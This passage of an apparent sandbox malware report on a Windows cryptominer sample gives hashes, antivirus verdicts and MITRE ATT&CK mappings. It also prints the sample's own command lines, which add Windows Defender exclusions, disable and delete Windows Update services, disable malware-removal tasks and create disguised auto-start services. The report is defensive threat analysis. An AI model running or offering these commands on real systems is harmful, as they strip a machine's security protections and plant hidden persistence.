00000000-00004180) Spawned process "sc.exe" with commandline "delete "MicrosoftEdgeUpdateTaskMachine_3aa5"" (UID: 00000000-00007848) Spawned process "sc.exe" with commandline "create "MicrosoftEdgeUpdateTaskMachine_3aa5" binpath= "%ALLUSERSPROFILE%\\Microsoft\\Network\\Diagnostics\\73BF5F50\\LockAppHost14a02b.exe" start= "auto"" (UID: 00000000-00005824) Spawned process "sc.exe" with commandline "start "MicrosoftEdgeUpdateTaskMachine_3aa5"" (UID: 00000000-00004544) Spawned process "nslookup.exe" (UID: 00000000-00007684) Spawned process "powershell.exe" with commandline "Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData, $env:TEMP) -ExclusionExtension @('.exe', '.sys') -Force" (UID: 00000000-00005432) Spawned process "powershell.exe" with commandline "$key='HKLM:\\SYSTEM\\CurrentControlSet\\Services\\WaaSMedicSvc';$acl=Get-Acl $key;$admin=New-Object System.Security.Principal.NTAccount('BUILTIN','Administrators');$acl.SetOwner($admin);$rule=New-Object System.Security.AccessControl.RegistryAccessRule($admin,'FullControl','Allow');$acl.SetAccessRule($rule);Set-Acl $key $acl;Set-ItemProperty $key -Name 'Start' -Value 4 -Type DWord" (UID: 00000000-00002720) Spawned process "sc.exe" with commandline "config WaaSMedicSvc start= disabled" (UID: 00000000-00005216) Spawned process "sc.exe" with commandline "stop WaaSMedicSvc" (UID: 00000000-00006676) Spawned process "sc.exe" with commandline "config UsoSvc start= disabled" (UID: 00000000-00006704) Spawned process "sc.exe" with commandline "stop UsoSvc" (UID: 00000000-00003696) Spawned process "reg.exe" with commandline "copy "HKLM\\SYSTEM\\CurrentControlSet\\Services\\UsoSvc" "HKLM\\SYSTEM\\CurrentControlSet\\Services\\zeamkxfprc" /s /f" (UID: 00000000-00006884) Spawned process "reg.exe" with commandline "delete "HKLM\\SYSTEM\\CurrentControlSet\\Services\\UsoSvc" /f" (UID: 00000000-00003776) Spawned process "sc.exe" with commandline "config WaaSMedicSvc start= disabled" (UID: 00000000-00006968) Spawned process "sc.exe" with commandline "stop WaaSMedicSvc" (UID: 00000000-00007828) Spawned process "reg.exe" with commandline "copy "HKLM\\SYSTEM\\CurrentControlSet\\Services\\WaaSMedicSvc" "HKLM\\SYSTEM\\CurrentControlSet\\Services\\jnbxaolwwx" /s /f" (UID: 00000000-00007296) Spawned process "reg.exe" with commandline "delete "HKLM\\SYSTEM\\CurrentControlSet\\Services\\WaaSMedicSvc" /f" (UID: 00000000-00004600) Spawned process "sc.exe" with commandline "config wuauserv start= disabled" (UID: 00000000-00004172) Spawned process "sc.exe" with commandline "stop wuauserv" (UID: 00000000-00006940) Spawned process "reg.exe" with commandline "copy "HKLM\\SYSTEM\\CurrentControlSet\\Services\\wuauserv" "HKLM\\SYSTEM\\CurrentControlSet\\Services\\clinnowyyh" /s /f" (UID: 00000000-00001460) Spawned process "reg.exe" with commandline "delete "HKLM\\SYSTEM\\CurrentControlSet\\Services\\wuauserv" /f" (UID: 00000000-00007024) Spawned process "sc.exe" with commandline "config BITS start= disabled" (UID: 00000000-00006364) Spawned process "sc.exe" with commandline "stop BITS" (UID: 00000000-00001444) Spawned process "reg.exe" with commandline "copy "HKLM\\SYSTEM\\CurrentControlSet\\Services\\BITS" "HKLM\\SYSTEM\\CurrentControlSet\\Services\\yirxajznxk" /s /f" (UID: 00000000-00007524) Spawned process "reg.exe" with commandline "delete "HKLM\\SYSTEM\\CurrentControlSet\\Services\\BITS" /f" (UID: 00000000-00003756) Spawned process "sc.exe" with commandline "config dosvc start= disabled" (UID: 00000000-00006512) Spawned process "sc.exe" with commandline "stop dosvc" (UID: 00000000-00004684) Spawned process "reg.exe" with commandline "copy "HKLM\\SYSTEM\\CurrentControlSet\\Services\\dosvc" "HKLM\\SYSTEM\\CurrentControlSet\\Services\\dfnlrcnbcv" /s /f" (UID: 00000000-00007984) Spawned process "reg.exe" with commandline "delete "HKLM\\SYSTEM\\CurrentControlSet\\Services\\dosvc" /f" (UID: 00000000-00006932) Spawned process "schtasks.exe" with commandline "/Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\Scheduled Start" /Disable" (UID: 00000000-00000332) Spawned process "schtasks.exe" with commandline "/Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\sih" /Disable" (UID: 00000000-00003224) Spawned process "schtasks.exe" with commandline "/Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\sihboot" /Disable" (UID: 00000000-00003876) Spawned process "schtasks.exe" with commandline "/Change /TN "\\Microsoft\\Windows\\UpdateOrchestrator\\Schedule Scan" /Disable" (UID: 00000000-00002572) Spawned process "schtasks.exe" with commandline "/Change /TN "\\Microsoft\\Windows\\UpdateOrchestrator\\Schedule Scan Static Task" /Disable" (UID: 00000000-00001816) Spawned process "schtasks.exe" with commandline "/Change /TN "\\Microsoft\\Windows\\UpdateOrchestrator\\Schedule Work" /Disable" (UID: 00000000-00000744) Spawned process "schtasks.exe" with commandline "/Change /TN "\\Microsoft\\Windows\\UpdateOrchestrator\\Schedule Wake To Work" /Disable" (UID: 00000000-00002484) Spawned process "schtasks.exe" with commandline "/Change /TN "\\Microsoft\\Windows\\UpdateOrchestrator\\USO_UxBroker" /Disable" (UID: 00000000-00002576) Spawned process "schtasks.exe" with commandline "/Change /TN "\\Microsoft\\Windows\\UpdateOrchestrator\\Reboot_AC" /Disable" (UID: 00000000-00003864) Spawned process "schtasks.exe" with commandline "/Change /TN "\\Microsoft\\Windows\\UpdateOrchestrator\\Reboot_Battery" /Disable" (UID: 00000000-00005220) Spawned process "schtasks.exe" with commandline "/Change /TN "\\Microsoft\\Windows\\WaaSMedic\\PerformRemediation" /Disable" (UID: 00000000-00003368) Spawned process "powercfg.exe" with commandline "/x -standby-timeout-ac 0" (UID: 00000000-00003592) Spawned process "powercfg.exe" with commandline "/x -hibernate-timeout-dc 0" (UID: 00000000-00003520) Spawned process "powercfg.exe" with commandline "/x -hibernate-timeout-ac 0" (UID: 00000000-00005036) Spawned process "powercfg.exe" with commandline "/x -standby-timeout-dc 0" (UID: 00000000-00004636) Spawned process "schtasks.exe" with commandline "/Change /TN "\\Microsoft\\Windows\\MRT\\MRT_HB" /Disable" (UID: 00000000-00003800) Spawned process "schtasks.exe" with commandline "/Change /TN "\\Microsoft\\Windows Removal Tools\\MRT_HB" /Disable" (UID: 00000000-00004568) Spawned process "svchost.exe" (UID: 00000000-00003708) Spawned process "sc.exe" with commandline "delete "RasConnectionManager_9d4d"" (UID: 00000000-00006612) Spawned process "sc.exe" with commandline "create "RasConnectionManager_9d4d" binpath= "%ALLUSERSPROFILE%\\icrosoftWindowsSchCache\\NetworkListService22e8.exe" start= "auto"" (UID: 00000000-00007652)1d:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$25"}}],["$","$L26",null,{"initialData":{"schema_version":"1.0.15","sha256":"aaa5b19624b18bbe051b05d868b665b5e8988c338d079209cd84c2ebc31e16c2","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"SUCCESS","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1791821761718,"unified_at":"2026-10-12T16:16:01.718Z","metadata":{"hashes":{"sha256":"aaa5b19624b18bbe051b05d868b665b5e8988c338d079209cd84c2ebc31e16c2","sha1":"88b73b8c6ed66bfb6e8421836bfdda30197023a2","md5":"532681b62d584f899e8eed3e8b1411f2","sha512":"e812e5d9ca2e45747d718fd17ef179e3e343fc218742348aea1addd758f27d82c33160d59170d3c972999229063cda9c2ac80ad4fb4d4ebf744ba57f8abc0ea6","ssdeep":"98304:SrI3957+cy4DUn2CXDEzKMfrB+zmjSI+4c/RjhDQUzp8Pb700lcIiQUbqae1H8BQ:SzcpDUnHAzvhnc/RjhQ170r/mOQ","ssdeep_chunks":["98304:SrI3957","98304:rI3957+","98304:I3957+c","98304:3957+cy","98304:957+cy4","98304:57+cy4D","98304:7+cy4DU","98304:+cy4DUn","98304:cy4DUn2","98304:y4DUn2C","98304:4DUn2CX","98304:DUn2CXD","98304:Un2CXDE","98304:n2CXDEz","98304:2CXDEzK","98304:CXDEzKM","98304:XDEzKMf","98304:DEzKMfr","98304:EzKMfrB","98304:zKMfrB+","98304:KMfrB+z","98304:MfrB+zm","98304:frB+zmj","98304:rB+zmjS","98304:B+zmjSI","98304:+zmjSI+","98304:zmjSI+4","98304:mjSI+4c","98304:jSI+4c/","98304:SI+4c/R","98304:I+4c/Rj","98304:+4c/Rjh","98304:4c/RjhD","98304:c/RjhDQ","98304:/RjhDQU","98304:RjhDQUz","98304:jhDQUzp","98304:hDQUzp8","98304:DQUzp8P","98304:QUzp8Pb","98304:Uzp8Pb7","98304:zp8Pb70","98304:p8Pb700","98304:8Pb700l","98304:Pb700lc","98304:b700lcI","98304:700lcIi","98304:00lcIiQ","98304:0lcIiQU","98304:lcIiQUb","98304:cIiQUbq","98304:IiQUbqa","98304:iQUbqae","98304:QUbqae1","98304:Ubqae1H","98304:bqae1H8","98304:qae1H8B","98304:ae1H8BQ","196608:SrI3957","196608:rI3957+","196608:I3957+c","196608:3957+cy","196608:957+cy4","196608:57+cy4D","196608:7+cy4DU","196608:+cy4DUn","196608:cy4DUn2","196608:y4DUn2C","196608:4DUn2CX","196608:DUn2CXD","196608:Un2CXDE","196608:n2CXDEz","196608:2CXDEzK","196608:CXDEzKM","196608:XDEzKMf","196608:DEzKMfr","196608:EzKMfrB","196608:zKMfrB+","196608:KMfrB+z","196608:MfrB+zm","196608:frB+zmj","196608:rB+zmjS","196608:B+zmjSI","196608:+zmjSI+","196608:zmjSI+4","196608:mjSI+4c","196608:jSI+4c/","196608:SI+4c/R","196608:I+4c/Rj","196608:+4c/Rjh","196608:4c/RjhD","196608:c/RjhDQ","196608:/RjhDQU","196608:RjhDQUz","196608:jhDQUzp","196608:hDQUzp8","196608:DQUzp8P","196608:QUzp8Pb","196608:Uzp8Pb7","196608:zp8Pb70","196608:p8Pb700","196608:8Pb700l","196608:Pb700lc","196608:b700lcI","196608:700lcIi","196608:00lcIiQ","196608:0lcIiQU","196608:lcIiQUb","196608:cIiQUbq","196608:IiQUbqa","196608:iQUbqae","196608:QUbqae1","196608:Ubqae1H","196608:bqae1H8","196608:qae1H8B","196608:ae1H8BQ","98304:SzcpDUn","98304:zcpDUnH","98304:cpDUnHA","98304:pDUnHAz","98304:DUnHAzv","98304:UnHAzvh","98304:nHAzvhn","98304:HAzvhnc","98304:Azvhnc/","98304:zvhnc/R","98304:vhnc/Rj","98304:hnc/Rjh","98304:nc/RjhQ","98304:c/RjhQ1","98304:/RjhQ17","98304:RjhQ170","98304:jhQ170r","98304:hQ170r/","98304:Q170r/m","98304:170r/mO","98304:70r/mOQ"],"imphash":"35171f6f6a1bfee47cbc04cb345c411f","pehash":"a3ac10360c72dfe293f307c2817ad377c88fe733"},"file_info":{"file_name":"SecuriteInfo.com.Win64.Evo-gen.49237433.exe","file_type":["peexe","64bits","executable"],"file_type_id":"64-bit exe","file_size":5224448,"entropy":8,"compile_timestamp":"2020-02-05T02:21:48","is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1785571243000,"last_seen":1787847244000,"last_multi_scan":1787847244000},"pe_metadata":{"is_dll":false,"is_packed":false,"section_count":6,"import_count":0,"export_count":0,"sections":[{"name":".text","virtual_address":"0x1000","virtual_size":26349},{"name":".rdata","virtual_address":"0x8000","virtual_size":2286688},{"name":".data","virtual_address":"0x237000","virtual_size":4321},{"name":".3p ","virtual_address":"0x239000","virtual_size":1763968},{"name":".*Fh","virtual_address":"0x3e8000","virtual_size":88,"raw_size":512},{"name":".O.,","virtual_address":"0x3e9000","virtual_size":5222688,"raw_size":5222912}],"section_names":[".text",".rdata",".data",".3p ",".*Fh",".O.,"],"imported_dlls":null,"imported_functions":null}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["commodity","mineware","criminal","xmrig","suspicious","malicious"]},"stats":{"av":{"malicious_count":16,"suspicious_count":0,"total_engines":24},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":90},"sandbox_signatures":{"informative_count":220,"suspicious_count":11,"malicious_count":16,"total":247},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Trojan/Win.Evo-gen","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan[Packed]/Win64.VMProtect","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"aurora":{"name":"Aurora","success":true,"verdict":"malicious","threat_name":"Malware_-10","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"TR/W64.Evo","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Trojan.GenericKD.81008208","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100% (D)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Trojan.GenericKD.81008208 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"a variant of Win64/Packed.VMProtect.AM suspicious application","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"malicious","threat_name":"Trojan.Win64.Packed.sa","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"malicious","threat_name":"Trojan/W64.HiJack.ak!crit","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Riskware ( 005cdf051 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sentinelone":{"name":"SentinelOne","success":true,"verdict":"malicious","threat_name":"high_entropy","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trellix":{"name":"Trellix","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"malicious","threat_name":"W64/ABmRisk.LMEW-1602","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"malicious","threat_name":"Trojan.Win64.Genus.KBP","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xcitium":{"name":"Xcitium","success":true,"verdict":"malicious","threat_name":"ApplicUnsaf","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"malicious","threat_name":"Backdoor.PMax.Win32.5744","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Trojan.Generic","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Found potential URLs in memory dumps"},{"type":"informative","value":"Contains references to network communication API (string)"},{"type":"informative","value":"Contains ability to communicate with network (API string)"},{"type":"informative","value":"Contacts server"},{"type":"informative","value":"Contacts domains"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"tactic":"Resource Development","technique":"Domains","attack_id":"T1583.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1583/001","identifiers":[{"type":"informative","value":"Short-term SSL certificate detected"},{"type":"informative","value":"Recently renewed or created SSL certificate"}],"sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"tactic":"Initial Access","technique":"Phishing","attack_id":"T1566","attack_id_wiki":"https://attack.mitre.org/techniques/T1566","identifiers":[{"type":"malicious","value":"Application communicates with a malicious domain"}],"sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Contains ability to create a new process (API string)"},{"type":"informative","value":"Contains ability to find and load resources of specific modules (API string)"},{"type":"informative","value":"Able to execute applications using .NET process API"},{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"},{"type":"informative","value":"Calls an API typically used to load a resource in memory"},{"type":"informative","value":"Creates multiple processes"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Calls an API typically used to find a resource in a module"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"}],"sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"tactic":"Execution","technique":"Inter-Process Communication","attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Found named pipe like strings"}],"sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"tactic":"Execution","technique":"PowerShell","attack_id":"T1059.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/001","identifiers":[{"type":"informative","value":"Observed Powershell command strings"},{"type":"informative","value":"Able to build PowerShell events through modules contained in the .NET code"},{"type":"informative","value":"Executes PowerShell with command line"}],"sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"tactic":"Execution","technique":"Service Execution","attack_id":"T1569.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1569/002","identifiers":[{"type":"malicious","value":"Starts service using SC.exe"},{"type":"informative","value":"Contains ability to open a service (API string)"},{"type":"informative","value":"Able to access control system service controller"}],"sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Fails to load modules at runtime"},{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"},{"type":"informative","value":"Loads the .NET runtime environment"},{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"}],"sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"tactic":"Execution","technique":"Command and Scripting Interpreter","attack_id":"T1059","attack_id_wiki":"https://attack.mitre.org/techniques/T1059","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"tactic":"Execution","technique":"Component Object Model","attack_id":"T1559.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1559/001","identifiers":[{"type":"malicious","value":"Loads the task scheduler COM API"}],"sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"tactic":"Execution","technique":"Malicious File","attack_id":"T1204.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1204/002","identifiers":[{"type":"malicious","value":"The analysis extracted a file that was identified as malicious"},{"type":"malicious","value":"Sample was identified as malicious by a trusted antivirus engine"}],"sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"tactic":"Persistence","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Contains ability to create/modify item values (Powershell command string)"},{"type":"informative","value":"Contains ability to disable/close registry key (API string)"},{"type":"informative","value":"Contains ability to modify registry key/value (API string)"},{"type":"informative","value":"Able to create/load registry keys (API string)"},{"type":"informative","value":"Able to delete registry key/value (API string)"},{"type":"informative","value":"Accesses System Certificates Settings"},{"type":"informative","value":"Writes registry keys"},{"type":"malicious","value":"Tries to delete registry keys using reg.exe"}],"sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Set/modify configurations using PowerShell"},{"type":"informative","value":"Contains ability to set/modify configuration (Powershell command string)"},{"type":"informative","value":"Contains ability to access device drivers"},{"type":"informative","value":"Contains ability to modify system service (API string)"},{"type":"informative","value":"Contains ability to start a service (API string)"},{"type":"informative","value":"Creates or modifies windows services"}],"sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"tactic":"Persistence","technique":"Services File Permissions Weakness","attack_id":"T1574.010","attack_id_wiki":"https://attack.mitre.org/techniques/T1574/010","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"tactic":"Persistence","technique":"Boot or Logon Autostart Execution","attack_id":"T1547","attack_id_wiki":"https://attack.mitre.org/techniques/T1547","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"tactic":"Privilege Escalation","technique":"ListPlanting","attack_id":"T1055.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/015","identifiers":[{"type":"informative","value":"Able to visualize and control listed components (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Contains ability to retrieve token privileges information (API string)"},{"type":"informative","value":"Calls an API typically used to enable or disable privileges in the specified access token"},{"type":"informative","value":"Contains ability to modify access token privileges (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"tactic":"Privilege Escalation","technique":"Abuse Elevation Control Mechanism","attack_id":"T1548","attack_id_wiki":"https://attack.mitre.org/techniques/T1548","identifiers":[{"type":"informative","value":"Contains ability to use security policy setting (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"tactic":"Privilege Escalation","technique":"Token Impersonation/Theft","attack_id":"T1134.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/001","identifiers":[{"type":"informative","value":"Contains ability to impersonate access tokens (API string)"},{"type":"informative","value":"Contains ability to obtains specified information about the security of a file or directory (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"malicious","value":"Writes data to a remote process"},{"type":"malicious","value":"Windows system process connects to a network"},{"type":"informative","value":"Able to inject code into another process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Able to modify thread functionality – possible hijack (API string)"},{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"tactic":"Privilege Escalation","technique":"Bypass User Account Control","attack_id":"T1548.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1548/002","identifiers":[{"type":"informative","value":"Contains ability to bypass UAC using COM object (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"tactic":"Privilege Escalation","technique":"Exploitation for Privilege Escalation","attack_id":"T1068","attack_id_wiki":"https://attack.mitre.org/techniques/T1068","identifiers":[{"type":"informative","value":"Opens the Kernel Security Device Driver (KsecDD) of Windows"}],"sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"tactic":"Defense Evasion","technique":"Time Based Checks","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to delay execution by waiting for signal/timeout (API string)"},{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"tactic":"Defense Evasion","technique":"System Checks","attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","identifiers":[{"type":"suspicious","value":"Queries process mitigation policy via NtQueryInformationProcess"},{"type":"informative","value":"Able to identify virtual environment by using API string"}],"sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"tactic":"Defense Evasion","technique":"Disable or Modify Tools","attack_id":"T1562.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/001","identifiers":[{"type":"informative","value":"Able to modify Windows Defender exclusions (Powershell command string)"},{"type":"informative","value":"Contains ability to disable Windows Defender using PowerShell"},{"type":"informative","value":"Contains strings related to AMSI (Anti Malware Scan Interface)"},{"type":"informative","value":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)"},{"type":"informative","value":"Loads the AMSI (Antimalware Scan Interface) DLL"},{"type":"suspicious","value":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)"}],"sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"informative","value":"Contains ability to delete files/directories (API string)"},{"type":"suspicious","value":"Opens file with deletion access rights"},{"type":"suspicious","value":"Marks file for deletion"}],"sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"tactic":"Defense Evasion","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Contains ability to retrieve file time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or 